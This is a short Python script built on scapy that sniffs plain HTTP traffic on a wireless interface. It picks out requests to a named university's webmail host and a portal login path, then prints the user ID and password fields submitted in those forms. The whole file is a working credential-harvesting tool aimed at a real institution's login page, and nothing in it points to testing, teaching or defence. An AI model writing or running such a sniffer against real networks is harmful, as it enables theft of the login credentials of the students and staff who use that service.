#!/usr/bin/python
from scapy.all import *

urls = ['webmail.hnu.edu.cn','/portal/pws?t=li']

targets = ['uid','password','id']

def match_url(payload):
    for url in urls:
        if payload.find(url) != -1:
            return True
    return False

def match_field(field):
    for p in targets:
        if(field.startswith(p)):
            return True
    return False

def http_header(packet):
    payload = str(packet[TCP].payload)
    if (match_url(payload)):
        form = payload.split('\r\n')[-1].split('&');
        for field in form:
            if (match_field(field)):
                print field


# sniff(iface='enp1s0', prn=http_header, filter="tcp port 80")
sniff(iface='wlp2s0', prn=http_header, filter="tcp port 80")
